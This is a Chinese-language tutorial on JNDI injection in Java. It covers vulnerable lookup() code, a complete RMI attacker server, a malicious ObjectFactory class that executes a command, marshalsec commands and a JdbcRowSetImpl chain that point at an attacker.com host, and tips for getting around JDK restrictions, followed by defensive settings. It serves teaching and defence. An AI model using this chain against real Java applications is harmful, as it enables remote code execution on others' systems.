JNDI注入原理及利用
字数 1361 2025-08-25 22:58:35
JNDI注入原理及利用详解
1. JNDI基础概念
Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,允许客户端通过name发现和查找数据和对象。其应用场景包括动态加载数据库配置文件等。
基本代码格式:
String jndiName = ...; // 指定需要查找的name名称
Context context = new InitialContext(); // 初始化默认环境
DataSource ds = (DataSource)context.lookup(jndiName); // 查找该name的数据
JNDI支持多种命名和目录服务:
- 远程方法调用(RMI)
- 轻型目录访问协议(LDAP)
- 通用对象请求代理体系结构(CORBA)
- 域名服务(DNS)
2. JNDI注入原理
JNDI注入漏洞发生在当lookup()方法的参数可控时,攻击者可以通过构造恶意的JNDI地址,导致远程class文件加载,从而实现远程代码执行。
2.1 基本利用流程
- 攻击者搭建恶意RMI/LDAP服务
- 服务指向攻击者控制的远程class文件
- 受害者应用执行可控的
lookup()方法 - 受害者从攻击者服务器加载并执行恶意class
2.2 漏洞代码示例
// 受害者代码
String uri = "rmi://127.0.0.1:1099/aa"; // 可控参数
Context ctx = new InitialContext();
ctx.lookup(uri);
3. 完整利用演示
3.1 攻击者服务端代码
// SERVER.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class SERVER {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("aa", refObjWrapper);
}
}
3.2 恶意class文件
// ExecTest.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
}
3.3 利用步骤
- 编译恶意class文件:
javac ExecTest.java - 部署恶意class文件到web服务器:
python -m http.server 8081 - 运行攻击者RMI服务端
- 受害者执行漏洞代码
4. 技术原理分析
4.1 调用流程
InitialContext.lookup()根据协议头返回对应协议的环境对象- 进入对应协议的
lookup()方法 - 与注册中心通讯获取服务信息
- 如果是Reference对象,会与RMI服务器连接获取远程class文件地址
- 使用
NamingManager.getObjectInstance()加载并实例化远程class
4.2 关键代码点
// NamingManager.java
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) {
// 尝试从本地加载class
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// 如果本地不存在,从codebase中获取
String codebase = ref.getFactoryClassLocation();
if (clas == null && codebase != null) {
clas = helper.loadClass(factoryName, codebase);
}
}
// 实例化恶意class
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
5. 利用工具简化
使用marshalsec工具快速搭建RMI/LDAP服务:
# 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit 1099
# 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389
6. 间接利用链 - JdbcRowSetImpl
即使没有直接的lookup()方法调用,也可以通过其他类间接触发JNDI注入:
// 利用JdbcRowSetImpl触发JNDI注入
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://attacker.com/Exploit");
jdbcRowSet.setAutoCommit(true); // 触发连接和lookup
7. 版本限制与绕过
7.1 版本限制
-
JDK 6u132, 7u122, 8u113开始:
com.sun.jndi.rmi.object.trustURLCodebase默认false- 禁止从远程Codebase加载Reference工厂类
-
JDK 11.0.1, 8u191, 7u201, 6u211开始:
com.sun.jndi.ldap.object.trustURLCodebase默认false- 限制LDAP Reference远程加载
7.2 利用建议
- 优先使用LDAP协议而非RMI(限制更少)
- 在受限版本中,可以尝试:
- 利用本地存在的gadget chain
- 利用其他反序列化漏洞配合
- 查找应用自带的可利用工厂类
8. LDAP+JNDI注入
LDAP注入与RMI注入原理类似,但受版本限制较少:
// 受害者代码
String uri = "ldap://127.0.0.1:1389/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
9. 防御措施
- 升级JDK到最新安全版本
- 避免使用不可信的JNDI名称
- 设置系统属性限制远程加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 对用户输入进行严格过滤
10. 总结
JNDI注入是一种严重的Java安全漏洞,允许攻击者实现远程代码执行。理解其原理和利用方式对于安全开发和渗透测试都至关重要。在实际利用中需要考虑Java版本限制,并选择合适的利用链和协议。